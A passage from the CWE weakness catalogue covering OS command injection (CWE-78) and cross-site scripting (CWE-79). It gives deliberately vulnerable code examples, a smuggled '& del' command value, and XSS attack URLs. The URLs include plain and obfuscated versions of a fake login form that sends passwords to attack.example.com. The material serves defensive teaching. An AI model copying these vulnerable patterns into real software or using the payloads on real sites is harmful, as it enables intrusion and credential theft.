In the example below, a method is used to transform geographic coordinates from latitude and longitude format to UTM format. The method gets the input coordinates from a user through a HTTP request and executes a program local to the application server that performs the transformation. The method passes the latitude and longitude coordinates as a command-line option to the external program and will perform some processing to retrieve the results of the transformation and return the resulting UTM coordinates.

Example Language: Java

(Bad)

```

public String coordinateTransformLatLonToUTM(String coordinates)
{
    String utmCoords = null;
    try {
        String latlonCoords = coordinates;
        Runtime rt = Runtime.getRuntime();
        Process exec = rt.exec("cmd.exe /C latlon2utm.exe -" + latlonCoords);
        // process results of coordinate transform
    }
}

```



```
// ...
}
catch(Exception e) {...}
return utmCoords;
}
```

However, the method does not verify that the contents of the coordinates input parameter includes only correctly-formatted latitude and longitude coordinates. If the input coordinates were not validated prior to the call to this method, a malicious user could execute another program local to the application server by appending '&' followed by the command for another program to the end of the coordinate string. The '&' instructs the Windows operating system to execute another program.

Example 6:

The following code is from an administrative web application designed to allow users to kick off a backup of an Oracle database using a batch-file wrapper around the rman utility and then run a cleanup.bat script to delete some temporary files. The script rmanDB.bat accepts a single command line parameter, which specifies what type of backup to perform. Because access to the database is restricted, the application runs the backup as a privileged user.

Example Language: Java

(Bad)

```
...
String btype = request.getParameter("backuptype");
String cmd = new String("cmd.exe /K \"
    c:\\util\\rmanDB.bat \"
    +btype+
    \"&c:\\utl\\cleanup.bat\"")
System.Runtime.getRuntime().exec(cmd);
...
```

The problem here is that the program does not do any validation on the backuptype parameter read from the user. Typically the Runtime.exec() function will not execute multiple commands, but in this case the program first runs the cmd.exe shell in order to run multiple commands with a single call to Runtime.exec(). Once the shell is invoked, it will happily execute multiple commands separated by two ampersands. If an attacker passes a string of the form "& del c:\\dbms*.\"", then the application will execute this command along with the others specified by the program. Because of the nature of the application, it runs with the privileges necessary to interact with the database, which means whatever command the attacker injects will run with those privileges as well.

Observed Examples

Reference	Description
CVE-2020-10987	OS command injection in Wi-Fi router, as exploited in the wild per CISA KEV. https://www.cve.org/CVERecord?id=CVE-2020-10987
CVE-2020-10221	Template functionality in network configuration management tool allows OS command injection, as exploited in the wild per CISA KEV. https://www.cve.org/CVERecord?id=CVE-2020-10221
CVE-2020-9054	Chain: improper input validation (CWE-20) in username parameter, leading to OS command injection (CWE-78), as exploited in the wild per CISA KEV. https://www.cve.org/CVERecord?id=CVE-2020-9054
CVE-1999-0067	Canonical example of OS command injection. CGI program does not neutralize " " metacharacter when invoking a phonebook program. https://www.cve.org/CVERecord?id=CVE-1999-0067
CVE-2001-1246	Language interpreter's mail function accepts another argument that is concatenated to a string used in a dangerous popen() call. Since there is no neutralization of this argument, both OS Command Injection (CWE-78) and Argument Injection (CWE-88) are possible. https://www.cve.org/CVERecord?id=CVE-2001-1246
CVE-2002-0061	Web server allows command execution using " " (pipe) character.

Reference	Description
	https://www.cve.org/CVERecord?id=CVE-2002-0061
CVE-2003-0041	FTP client does not filter " " from filenames returned by the server, allowing for OS command injection. https://www.cve.org/CVERecord?id=CVE-2003-0041
CVE-2008-2575	Shell metacharacters in a filename in a ZIP archive https://www.cve.org/CVERecord?id=CVE-2008-2575
CVE-2002-1898	Shell metacharacters in a telnet:// link are not properly handled when the launching application processes the link. https://www.cve.org/CVERecord?id=CVE-2002-1898
CVE-2008-4304	OS command injection through environment variable. https://www.cve.org/CVERecord?id=CVE-2008-4304
CVE-2008-4796	OS command injection through https:// URLs https://www.cve.org/CVERecord?id=CVE-2008-4796
CVE-2007-3572	Chain: incomplete denylist for OS command injection https://www.cve.org/CVERecord?id=CVE-2007-3572
CVE-2012-1988	Product allows remote users to execute arbitrary commands by creating a file whose pathname contains shell metacharacters. https://www.cve.org/CVERecord?id=CVE-2012-1988

Functional Areas















- Program Invocation

Affected Resources

- System Process

MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name		Page
MemberOf		635	Weaknesses Originally Used by NVD from 2008 to 2016	635	2552
MemberOf		714	OWASP Top Ten 2007 Category A3 - Malicious File Execution	629	2331
MemberOf		727	OWASP Top Ten 2004 Category A6 - Injection Flaws	711	2337
MemberOf		741	CERT C Secure Coding Standard (2008) Chapter 8 - Characters and Strings (STR)	734	2344
MemberOf		744	CERT C Secure Coding Standard (2008) Chapter 11 - Environment (ENV)	734	2348
MemberOf		751	2009 Top 25 - Insecure Interaction Between Components	750	2352
MemberOf		801	2010 Top 25 - Insecure Interaction Between Components	800	2354
MemberOf		810	OWASP Top Ten 2010 Category A1 - Injection	809	2356
MemberOf		845	The CERT Oracle Secure Coding Standard for Java (2011) Chapter 2 - Input Validation and Data Sanitization (IDS)	844	2362
MemberOf		864	2011 Top 25 - Insecure Interaction Between Components	900	2371
MemberOf		875	CERT C++ Secure Coding Section 07 - Characters and Strings (STR)	868	2376
MemberOf		878	CERT C++ Secure Coding Section 10 - Environment (ENV)	868	2378
MemberOf		884	CWE Cross-section	884	2567

Nature	Type	ID	Name	V	Page
MemberOf	C	929	OWASP Top Ten 2013 Category A1 - Injection	928	2389
MemberOf	C	990	SFP Secondary Cluster: Tainted Input to Command	888	2413
MemberOf	C	1027	OWASP Top Ten 2017 Category A1 - Injection	1026	2435
MemberOf	C	1131	CISQ Quality Measures (2016) - Security	1128	2442
MemberOf	C	1134	SEI CERT Oracle Secure Coding Standard for Java - Guidelines 00. Input Validation and Data Sanitization (IDS)	1133	2444
MemberOf	C	1165	SEI CERT C Coding Standard - Guidelines 10. Environment (ENV)	1154	2460
MemberOf	V	1200	Weaknesses in the 2019 CWE Top 25 Most Dangerous Software Errors	1200	2587
MemberOf	V	1337	Weaknesses in the 2021 CWE Top 25 Most Dangerous Software Weaknesses	1337	2589
MemberOf	C	1347	OWASP Top Ten 2021 Category A03:2021 - Injection	1344	2490
MemberOf	V	1350	Weaknesses in the 2020 CWE Top 25 Most Dangerous Software Weaknesses	1350	2594
MemberOf	V	1387	Weaknesses in the 2022 CWE Top 25 Most Dangerous Software Weaknesses	1387	2597
MemberOf	C	1409	Comprehensive Categorization: Injection	1400	2535
MemberOf	V	1425	Weaknesses in the 2023 CWE Top 25 Most Dangerous Software Weaknesses	1425	2600

Notes

Terminology

The "OS command injection" phrase carries different meanings to different people. For some people, it only refers to cases in which the attacker injects command separators into arguments for an application-controlled program that is being invoked. For some people, it refers to any type of attack that can allow the attacker to execute OS commands of their own choosing. This usage could include untrusted search path weaknesses (CWE-426) that cause the application to find and execute an attacker-controlled program. Further complicating the issue is the case when argument injection (CWE-88) allows alternate command-line switches or options to be inserted into the command line, such as an "-exec" switch whose purpose may be to execute the subsequent argument as a command (this -exec switch exists in the UNIX "find" command, for example). In this latter case, however, CWE-88 could be regarded as the primary weakness in a chain with CWE-78.

Research Gap

More investigation is needed into the distinction between the OS command injection variants, including the role with argument injection (CWE-88). Equivalent distinctions may exist in other injection-related problems such as SQL injection.

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			OS Command Injection
OWASP Top Ten 2007	A3	CWE More Specific	Malicious File Execution
OWASP Top Ten 2004	A6	CWE More Specific	Injection Flaws
CERT C Secure Coding	ENV03-C		Sanitize the environment when invoking external programs
CERT C Secure Coding	ENV33-C	CWE More Specific	Do not call system()
CERT C Secure Coding	STR02-C		Sanitize data passed to complex subsystems
WASC	31		OS Commanding

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
The CERT Oracle Secure Coding Standard for Java (2011)	IDS07-J		Do not pass untrusted, unsanitized data to the Runtime.exec() method
Software Fault Patterns	SFP24		Tainted input to command
OMG ASCSM	ASCSM-CWE-78		

Related Attack Patterns

CAPEC-ID	Attack Pattern Name
6	Argument Injection
15	Command Delimiters
43	Exploiting Multiple Input Interpretation Layers
88	OS Command Injection
108	Command Line Execution through SQL Injection

References

- [REF-140]Greg Hoglund and Gary McGraw. "Exploiting Software: How to Break Code". 2004 February 7. Addison-Wesley. < <https://www.amazon.com/Exploiting-Software-How-Break-Code/dp/0201786958> >.2023-04-07.
- [REF-685]Pascal Meunier. "Meta-Character Vulnerabilities". 2008 February 0. < <https://web.archive.org/web/20100714032622/https://www.cs.purdue.edu/homes/cs390s/slides/week09.pdf> >.2023-04-07.
- [REF-686]Robert Auger. "OS Commanding". 2009 June. < <http://projects.webappsec.org/w/page/13246950/OS%20Commanding> >.2023-04-07.
- [REF-687]Lincoln Stein and John Stewart. "The World Wide Web Security FAQ". 2002 February 4. < <https://www.w3.org/Security/Faq/wwwsf4.html> >.2023-04-07.
- [REF-688]Jordan Dimov, Cigital. "Security Issues in Perl Scripts". < <https://www.cgisecurity.com/lib/sips.html> >.2023-04-07.
- [REF-44]Michael Howard, David LeBlanc and John Viega. "24 Deadly Sins of Software Security". McGraw-Hill. 2010.
- [REF-690]Frank Kim. "Top 25 Series - Rank 9 - OS Command Injection". 2010 February 4. SANS Software Security Institute. < <https://www.sans.org/blog/top-25-series-rank-9-os-command-injection/> >.2023-04-07.
- [REF-45]OWASP. "OWASP Enterprise Security API (ESAPI) Project". < <http://www.owasp.org/index.php/ESAPI> >.
- [REF-76]Sean Barnum and Michael Gegick. "Least Privilege". 2005 September 4. < <https://web.archive.org/web/20211209014121/https://www.cisa.gov/uscert/bsi/articles/knowledge/principles/least-privilege> >.2023-04-07.
- [REF-62]Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". 1st Edition. 2006. Addison Wesley.
- [REF-962]Object Management Group (OMG). "Automated Source Code Security Measure (ASCSM)". 2016 January. < <http://www.omg.org/spec/ASCSM/1.0/> >.

CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')

Weakness ID : 79
Structure : Simple
Abstraction : Base

Description

The product does not neutralize or incorrectly neutralizes user-controllable input before it is placed in output that is used as a web page that is served to other users.

Extended Description

Cross-site scripting (XSS) vulnerabilities occur when:

1. Untrusted data enters a web application, typically from a web request.
2. The web application dynamically generates a web page that contains this untrusted data.
3. During page generation, the application does not prevent the data from containing content that is executable by a web browser, such as JavaScript, HTML tags, HTML attributes, mouse events, Flash, ActiveX, etc.
4. A victim visits the generated web page through a web browser, which contains malicious script that was injected using the untrusted data.
5. Since the script comes from a web page that was sent by the web server, the victim's web browser executes the malicious script in the context of the web server's domain.
6. This effectively violates the intention of the web browser's same-origin policy, which states that scripts in one domain should not be able to access resources or run code in a different domain.

There are three main kinds of XSS:

- Type 1: Reflected XSS (or Non-Persistent) - The server reads data directly from the HTTP request and reflects it back in the HTTP response. Reflected XSS exploits occur when an attacker causes a victim to supply dangerous content to a vulnerable web application, which is then reflected back to the victim and executed by the web browser. The most common mechanism for delivering malicious content is to include it as a parameter in a URL that is posted publicly or e-mailed directly to the victim. URLs constructed in this manner constitute the core of many phishing schemes, whereby an attacker convinces a victim to visit a URL that refers to a vulnerable site. After the site reflects the attacker's content back to the victim, the content is executed by the victim's browser.
- Type 2: Stored XSS (or Persistent) - The application stores dangerous data in a database, message forum, visitor log, or other trusted data store. At a later time, the dangerous data is subsequently read back into the application and included in dynamic content. From an attacker's perspective, the optimal place to inject malicious content is in an area that is displayed to either many users or particularly interesting users. Interesting users typically have elevated privileges in the application or interact with sensitive data that is valuable to the attacker. If one of these users executes malicious content, the attacker may be able to perform privileged operations on behalf of the user or gain access to sensitive data belonging to the user. For example, the attacker might inject XSS into a log message, which might not be handled properly when an administrator views the logs.
- Type 0: DOM-Based XSS - In DOM-based XSS, the client performs the injection of XSS into the page; in the other types, the server performs the injection. DOM-based XSS generally involves server-controlled, trusted script that is sent to the client, such as Javascript that performs sanity checks on a form before the user submits it. If the server-supplied script processes user-supplied data and then injects it back into the web page (such as with dynamic HTML), then DOM-based XSS is possible.

Once the malicious script is injected, the attacker can perform a variety of malicious activities. The attacker could transfer private information, such as cookies that may include session information, from the victim's machine to the attacker. The attacker could send malicious requests to a web site on behalf of the victim, which could be especially dangerous to the site if the victim has administrator privileges to manage that site. Phishing attacks could be used to emulate trusted web sites and trick the victim into entering a password, allowing the attacker to compromise the victim's













account on that web site. Finally, the script could exploit a vulnerability in the web browser itself possibly taking over the victim's machine, sometimes referred to as "drive-by hacking."

In many cases, the attack can be launched without the victim even being aware of it. Even with careful users, attackers frequently use a variety of methods to encode the malicious portion of the attack, such as URL encoding or Unicode, so the request looks less suspicious.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf		74	Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection')	137
ParentOf		80	Improper Neutralization of Script-Related HTML Tags in a Web Page (Basic XSS)	177
ParentOf		81	Improper Neutralization of Script in an Error Message Web Page	179
ParentOf		83	Improper Neutralization of Script in Attributes in a Web Page	183
ParentOf		84	Improper Neutralization of Encoded URI Schemes in a Web Page	186
ParentOf		85	Doubled Character XSS Manipulations	188
ParentOf		86	Improper Neutralization of Invalid Characters in Identifiers in Web Pages	190
ParentOf		87	Improper Neutralization of Alternate XSS Syntax	192
PeerOf		352	Cross-Site Request Forgery (CSRF)	868
CanFollow		113	Improper Neutralization of CRLF Sequences in HTTP Headers ('HTTP Request/Response Splitting')	271
CanFollow		184	Incomplete List of Disallowed Inputs	459
CanPrecede		494	Download of Code Without Integrity Check	1185

Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (CWE-1003)

Nature	Type	ID	Name	Page
ChildOf		74	Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection')	137

Relevant to the view "Architectural Concepts" (CWE-1008)

Nature	Type	ID	Name	Page
MemberOf		1019	Validate Inputs	2433

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf		137	Data Neutralization Issues	2311

Weakness Ordinalities

Resultant :

Applicable Platforms

Language : Not Language-Specific (*Prevalence = Undetermined*)

Technology : Web Based (*Prevalence = Often*)

Background Details

The Same Origin Policy states that browsers should limit the resources accessible to scripts running on a given web site, or "origin", to the resources associated with that web site on the client-side, and not the client-side resources of any other sites or "origins". The goal is to prevent one site from being able to modify or read the contents of an unrelated site. Since the World Wide Web involves interactions between many sites, this policy is important for browsers to enforce.

When referring to XSS, the Domain of a website is roughly equivalent to the resources associated with that website on the client-side of the connection. That is, the domain can be thought of as all resources the browser is storing for the user's interactions with this particular site.

Alternate Terms

XSS : A common abbreviation for Cross-Site Scripting.

HTML Injection : Used as a synonym of stored (Type 2) XSS.

CSS : In the early years after initial discovery of XSS, "CSS" was a commonly-used acronym. However, this would cause confusion with "Cascading Style Sheets," so usage of this acronym has declined significantly.

Likelihood Of Exploit

High

Common Consequences

Scope	Impact	Likelihood
Access Control Confidentiality	Bypass Protection Mechanism Read Application Data <i>The most common attack performed with cross-site scripting involves the disclosure of information stored in user cookies. Typically, a malicious user will craft a client-side script, which -- when parsed by a web browser -- performs some activity (such as sending all site cookies to a given E-mail address). This script will be loaded and run by each user visiting the web site. Since the site requesting to run the script has access to the cookies in question, the malicious script does also.</i>	
Integrity Confidentiality Availability	Execute Unauthorized Code or Commands <i>In some circumstances it may be possible to run arbitrary code on a victim's computer when cross-site scripting is combined with other flaws.</i>	
Confidentiality Integrity Availability Access Control	Execute Unauthorized Code or Commands Bypass Protection Mechanism Read Application Data <i>The consequence of an XSS attack is the same regardless of whether it is stored or reflected. The difference is in how the payload arrives at the server. XSS can cause a variety of problems for the end user that range in severity from an annoyance to complete account compromise. Some cross-site scripting vulnerabilities can be exploited to manipulate or steal cookies, create requests that can be mistaken for those of a valid user, compromise confidential information, or execute malicious code on the end user systems for a variety of nefarious purposes. Other damaging attacks include the disclosure of end user files, installation of</i>	

Scope	Impact	Likelihood
	Trojan horse programs, redirecting the user to some other page or site, running "Active X" controls (under Microsoft Internet Explorer) from sites that a user perceives as trustworthy, and modifying presentation of content.	

Detection Methods

Automated Static Analysis

Use automated static analysis tools that target this type of weakness. Many modern techniques use data flow analysis to minimize the number of false positives. This is not a perfect solution, since 100% accuracy and coverage are not feasible, especially when multiple components are involved.

Effectiveness = Moderate

Black Box

Use the XSS Cheat Sheet [REF-714] or automated test-generation tools to help launch a wide variety of attacks against your web application. The Cheat Sheet contains many subtle XSS variations that are specifically targeted against weak XSS defenses.

Effectiveness = Moderate

With Stored XSS, the indirection caused by the data store can make it more difficult to find the problem. The tester must first inject the XSS string into the data store, then find the appropriate application functionality in which the XSS string is sent to other users of the application. These are two distinct steps in which the activation of the XSS can take place minutes, hours, or days after the XSS was originally injected into the data store.

Potential Mitigations

Phase: Architecture and Design

Strategy = Libraries or Frameworks

Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid. Examples of libraries and frameworks that make it easier to generate properly encoded output include Microsoft's Anti-XSS library, the OWASP ESAPI Encoding module, and Apache Wicket.

Phase: Implementation

Phase: Architecture and Design

Understand the context in which your data will be used and the encoding that will be expected. This is especially important when transmitting data between different components, or when generating outputs that can contain multiple encodings at the same time, such as web pages or multi-part mail messages. Study all expected communication protocols and data representations to determine the required encoding strategies. For any data that will be output to another web page, especially any data that was received from external inputs, use the appropriate encoding on all non-alphanumeric characters. Parts of the same output document may require different encodings, which will vary depending on whether the output is in the: HTML body Element attributes (such as `src="XYZ"`) URIs JavaScript sections Cascading Style Sheets and style property etc. Note that HTML Entity Encoding is only appropriate for the HTML body. Consult the XSS Prevention Cheat Sheet [REF-724] for more details on the types of encoding and escaping that are needed.

Phase: Architecture and Design

Phase: Implementation

Strategy = Attack Surface Reduction

Understand all the potential areas where untrusted inputs can enter your software: parameters or arguments, cookies, anything read from the network, environment variables, reverse DNS lookups, query results, request headers, URL components, e-mail, files, filenames, databases, and any external systems that provide data to the application. Remember that such inputs may be obtained indirectly through API calls.

Effectiveness = Limited

This technique has limited effectiveness, but can be helpful when it is possible to store client state and sensitive information on the server side instead of in cookies, headers, hidden form fields, etc.

Phase: Architecture and Design

For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.

Phase: Architecture and Design

Strategy = Parameterization

If available, use structured mechanisms that automatically enforce the separation between data and code. These mechanisms may be able to provide the relevant quoting, encoding, and validation automatically, instead of relying on the developer to provide this capability at every point where output is generated.

Phase: Implementation

Strategy = Output Encoding

Use and specify an output encoding that can be handled by the downstream component that is reading the output. Common encodings include ISO-8859-1, UTF-7, and UTF-8. When an encoding is not specified, a downstream component may choose a different encoding, either by assuming a default encoding or automatically inferring which encoding is being used, which can be erroneous. When the encodings are inconsistent, the downstream component might treat some character or byte sequences as special, even if they are not special in the original encoding. Attackers might then be able to exploit this discrepancy and conduct injection attacks; they even might be able to bypass protection mechanisms that assume the original encoding is also being used by the downstream component. The problem of inconsistent output encodings often arises in web pages. If an encoding is not specified in an HTTP header, web browsers often guess about which encoding is being used. This can open up the browser to subtle XSS attacks.

Phase: Implementation

With Struts, write all data from form beans with the bean's filter attribute set to true.

Phase: Implementation

Strategy = Attack Surface Reduction

To help mitigate XSS attacks against the user's session cookie, set the session cookie to be HttpOnly. In browsers that support the HttpOnly feature (such as more recent versions of Internet Explorer and Firefox), this attribute can prevent the user's session cookie from being accessible to malicious client-side scripts that use document.cookie. This is not a complete solution, since HttpOnly is not supported by all browsers. More importantly, XMLHttpRequest and other powerful browser technologies provide read access to HTTP headers, including the Set-Cookie header in which the HttpOnly flag is set.

Effectiveness = Defense in Depth

Phase: Implementation

Strategy = Input Validation

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does. When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue." Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright. When dynamically constructing web pages, use stringent allowlists that limit the character set based on the expected value of the parameter in the request. All input should be validated and cleansed, not just parameters that the user is supposed to specify, but all data in the request, including hidden fields, cookies, headers, the URL itself, and so forth. A common mistake that leads to continuing XSS vulnerabilities is to validate only fields that are expected to be redisplayed by the site. It is common to see data from the request that is reflected by the application server or the application that the development team did not anticipate. Also, a field that is not currently reflected may be used by a future developer. Therefore, validating ALL parts of the HTTP request is recommended. Note that proper output encoding, escaping, and quoting is the most effective solution for preventing XSS, although input validation may provide some defense-in-depth. This is because it effectively limits what will appear in output. Input validation will not always prevent XSS, especially if you are required to support free-form text fields that could contain arbitrary characters. For example, in a chat application, the heart emoticon ("") would likely pass the validation step, since it is commonly used. However, it cannot be directly inserted into the web page because it contains the "<" character, which would need to be escaped or otherwise handled. In this case, stripping the "<" might reduce the risk of XSS, but it would produce incorrect behavior because the emoticon would not be recorded. This might seem to be a minor inconvenience, but it would be more important in a mathematical forum that wants to represent inequalities. Even if you make a mistake in your validation (such as forgetting one out of 100 input fields), appropriate encoding is still likely to protect you from injection-based attacks. As long as it is not done in isolation, input validation is still a useful technique, since it may significantly reduce your attack surface, allow you to detect some attacks, and provide other security benefits that proper encoding does not address. Ensure that you perform input validation at well-defined interfaces within the application. This will help protect the application even if a component is reused or moved elsewhere.

Phase: Architecture and Design*Strategy = Enforcement by Conversion*

When the set of acceptable objects, such as filenames or URLs, is limited or known, create a mapping from a set of fixed input values (such as numeric IDs) to the actual filenames or URLs, and reject all other inputs.

Phase: Operation*Strategy = Firewall*

Use an application firewall that can detect attacks against this weakness. It can be beneficial in cases in which the code cannot be fixed (because it is controlled by a third party), as an emergency prevention measure while more comprehensive software assurance measures are applied, or to provide defense in depth.

Effectiveness = Moderate

An application firewall might not cover all possible input vectors. In addition, attack techniques might be available to bypass the protection mechanism, such as using malformed inputs that can

still be processed by the component that receives those inputs. Depending on functionality, an application firewall might inadvertently reject or modify legitimate requests. Finally, some manual effort may be required for customization.

Phase: Operation

Phase: Implementation

Strategy = Environment Hardening

When using PHP, configure the application so that it does not use `register_globals`. During implementation, develop the application so that it does not rely on this feature, but be wary of implementing a `register_globals` emulation that is subject to weaknesses such as CWE-95, CWE-621, and similar issues.

Demonstrative Examples

Example 1:

The following code displays a welcome message on a web page based on the HTTP GET username parameter (covers a Reflected XSS (Type 1) scenario).

Example Language: PHP

(Bad)

```
$username = $_GET['username'];
echo '<div class="header"> Welcome, ' . $username . '</div>';
```

Because the parameter can be arbitrary, the url of the page could be modified so \$username contains scripting syntax, such as

Example Language:

(Attack)

```
http://trustedSite.example.com/welcome.php?username=<Script Language="Javascript">alert("You've been attacked!");</Script>
```

This results in a harmless alert dialog popping up. Initially this might not appear to be much of a vulnerability. After all, why would someone enter a URL that causes malicious code to run on their own computer? The real danger is that an attacker will create the malicious URL, then use e-mail or social engineering tricks to lure victims into visiting a link to the URL. When victims click the link, they unwittingly reflect the malicious content through the vulnerable web application back to their own computers.

More realistically, the attacker can embed a fake login box on the page, tricking the user into sending the user's password to the attacker:

Example Language:

(Attack)

```
http://trustedSite.example.com/welcome.php?username=<div id="stealPassword">Please Login:<form name="input"
action="http://attack.example.com/stealPassword.php" method="post">Username: <input type="text" name="username" /
><br/>Password: <input type="password" name="password" /><br/><input type="submit" value="Login" /></form></div>
```

If a user clicks on this link then Welcome.php will generate the following HTML and send it to the user's browser:

Example Language:

(Result)

```
<div class="header"> Welcome, <div id="stealPassword"> Please Login:
  <form name="input" action="http://attack.example.com/stealPassword.php" method="post">
    Username: <input type="text" name="username" /><br/>
    Password: <input type="password" name="password" /><br/>
    <input type="submit" value="Login" />
  </form>
</div></div>
```

The trustworthy domain of the URL may falsely assure the user that it is OK to follow the link. However, an astute user may notice the suspicious text appended to the URL. An attacker may further obfuscate the URL (the following example links are broken into multiple lines for readability):

Example Language:

(Attack)

```
trustedSite.example.com/welcome.php?username=%3Cdiv+id%3D%22
stealPassword%22%3EPlease+Login%3A%3Cform+name%3D%22input
%22+action%3D%22http%3A%2F%2Fattack.example.com%2FstealPassword.php
%22+method%3D%22post%22%3EUsername%3A+%3Cinput+type%3D%22text
%22+name%3D%22username%22+%2F%3E%3Cbr%2F%3EPassword%3A
+%3Cinput+type%3D%22password%22+name%3D%22password%22
+%2F%3E%3Cinput+type%3D%22submit%22+value%3D%22Login%22
+%2F%3E%3C%2Fform%3E%3C%2Fdiv%3E%0D%0A
```

The same attack string could also be obfuscated as:

Example Language:

(Attack)

```
trustedSite.example.com/welcome.php?username=<script+type="text/javascript">
document.write('\u003C\u0064\u0069\u0076\u0020\u0069\u0064\u003D\u0022\u0073
\u0074\u0065\u0061\u006C\u0050\u0061\u0073\u0073\u0077\u006F\u0072\u0064
\u0022\u003E\u0050\u006C\u0065\u0061\u0073\u0065\u0020\u004C\u006F\u0067
\u0069\u006E\u003A\u003C\u0066\u006F\u0072\u006D\u0020\u006E\u0061\u006D
\u0065\u003D\u0022\u0069\u006E\u0070\u0075\u0074\u0022\u0020\u0061\u0063
\u0074\u0069\u006F\u006E\u003D\u0022\u0068\u0074\u0074\u0070\u003A\u002F
\u002F\u0061\u0074\u0074\u0061\u0063\u006B\u002E\u0065\u0078\u0061\u006D
\u0070\u006C\u0065\u002E\u0063\u006F\u006D\u002F\u0073\u0074\u0065\u0061
\u006C\u0050\u0061\u0073\u0073\u0077\u006F\u0072\u0064\u002E\u0070\u0068
\u0070\u0022\u0020\u006D\u0065\u0074\u0068\u006F\u0064\u003D\u0022\u0070
\u006F\u0073\u0074\u0022\u003E\u0055\u0073\u0065\u0072\u006E\u0061\u006D
\u0065\u003A\u0020\u003C\u0069\u006E\u0070\u0075\u0074\u0020\u0020\u0074\u0079
\u0070\u0065\u003D\u0022\u0074\u0065\u0078\u0074\u0022\u0020\u006E\u0061
\u006D\u0065\u003D\u0022\u0075\u0073\u0065\u0072\u006E\u0061\u006D\u0065
\u0022\u0020\u002F\u003E\u003C\u0062\u0072\u002F\u003E\u0050\u0061\u0073
\u0073\u0077\u006F\u0072\u0064\u003A\u0020\u003C\u0069\u006E\u0070\u0075
\u0074\u0020\u0074\u0079\u0070\u0065\u003D\u0022\u0070\u0061\u0073\u0073
\u0077\u006F\u0072\u0064\u0022\u0020\u006E\u0061\u006D\u0065\u003D\u0022
\u0070\u0061\u0073\u0073\u0077\u006F\u0072\u0064\u0022\u0020\u002F\u003E
\u003C\u0069\u006E\u0070\u0075\u0074\u0020\u0074\u0079\u0070\u0065\u003D
\u0022\u0073\u0075\u0062\u006D\u0069\u0074\u0022\u0020\u0076\u0061\u006C
\u0075\u0065\u003D\u0022\u004C\u006F\u0067\u0069\u006E\u0022\u0020\u002F
\u003E\u003C\u002F\u0066\u006F\u0072\u006D\u003E\u003C\u002F\u0064\u0069\u0076\u003E\u000D');</script>
```

Both of these attack links will result in the fake login box appearing on the page, and users are more likely to ignore indecipherable text at the end of URLs.

Example 2:

The following code displays a Reflected XSS (Type 1) scenario.

The following JSP code segment reads an employee ID, eid, from an HTTP request and displays it to the user.

Example Language: JSP

(Bad)

```
<% String eid = request.getParameter("eid"); %>
...
Employee ID: <%= eid %>
```

The following ASP.NET code segment reads an employee ID number from an HTTP request and displays it to the user.

Example Language: ASP.NET

(Bad)

```
<%
```



```
protected System.Web.UI.WebControls.TextBox Login;
protected System.Web.UI.WebControls.Label EmployeeID;
...
EmployeeID.Text = Login.Text;
%>
<p><asp:label id="EmployeeID" runat="server" /></p>
```

The code in this example operates correctly if the Employee ID variable contains only standard alphanumeric text. If it has a value that includes meta-characters or source code, then the code will be executed by the web browser as it displays the HTTP response.

Example 3:

The following code displays a Stored XSS (Type 2) scenario.

The following JSP code segment queries a database for an employee with a given ID and prints the corresponding employee's name.

Example Language: JSP

(Bad)

```
<%Statement stmt = conn.createStatement();
ResultSet rs = stmt.executeQuery("select * from emp where id="+eid);
if (rs != null) {
    rs.next();
    String name = rs.getString("name");
}%>
Employee Name: <%= name %>
```

The following ASP.NET code segment queries a database for an employee with a given employee ID and prints the name corresponding with the ID.

Example Language: ASP.NET

(Bad)

```
<%
protected System.Web.UI.WebControls.Label EmployeeName;
...
string query = "select * from emp where id=" + eid;
sda = new SqlDataAdapter(query, conn);
sda.Fill(dt);
string name = dt.Rows[0]["Name"];
...
EmployeeName.Text = name;%>
<p><asp:label id="EmployeeName" runat="server" /></p>
```

This code can appear less dangerous because the value of name is read from a database, whose contents are apparently managed by the application. However, if the value of name originates from user-supplied data, then the database can be a conduit for malicious content. Without proper input validation on all data stored in the database, an attacker can execute malicious commands in the user's web browser.

Example 4:

The following code consists of two separate pages in a web application, one devoted to creating user accounts and another devoted to listing active users currently logged in. It also displays a Stored XSS (Type 2) scenario.

CreateUser.php

Example Language: PHP

(Bad)

```
$username = mysql_real_escape_string($username);
$fullName = mysql_real_escape_string($fullName);
$query = sprintf('Insert Into users (username,password) Values ("%s", "%s", "%s")', $username, crypt($password),
$fullName);
mysql_query($query);
```

/.../

The code is careful to avoid a SQL injection attack (CWE-89) but does not stop valid HTML from being stored in the database. This can be exploited later when ListUsers.php retrieves the information:

ListUsers.php

Example Language: PHP

(Bad)

```
$query = 'Select * From users Where loggedIn=true';
$results = mysql_query($query);
if (!$results) {
    exit;
}
//Print list of users to page
echo '<div id="userlist">Currently Active Users:';
while ($row = mysql_fetch_assoc($results)) {
    echo '<div class="userNames">'.$row['fullname'].'</div>';
}
echo '</div>';
```

